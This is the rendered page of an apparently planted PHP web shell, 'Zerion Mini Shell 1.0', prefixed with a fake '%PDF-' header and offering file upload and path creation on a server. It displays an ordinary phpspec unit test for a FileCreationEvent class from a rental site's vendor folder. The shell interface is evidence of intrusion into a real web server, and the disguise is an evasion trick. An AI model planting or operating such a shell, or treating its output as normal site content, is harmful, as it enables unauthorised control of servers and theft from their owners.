%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/rental/vendor/phpspec/phpspec/spec/PhpSpec/Event/
Upload File :
Create Path :
Current File : /var/www/html/rental/vendor/phpspec/phpspec/spec/PhpSpec/Event/FileCreationEventSpec.php

<?php

namespace spec\PhpSpec\Event;

use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class FileCreationEventSpec extends ObjectBehavior
{
    private $filepath = 'foo/bar.php';

    function let()
    {
        $this->beConstructedWith($this->filepath);
    }

    function it_should_be_a_symfony_event()
    {
        $this->shouldHaveType('Symfony\Component\EventDispatcher\Event');
    }

    function it_should_be_a_phpspec_event()
    {
        $this->shouldImplement('PhpSpec\Event\EventInterface');
    }

    function it_should_return_the_created_file_path()
    {
        $this->getFilePath()->shouldReturn($this->filepath);
    }
}

Zerion Mini Shell 1.0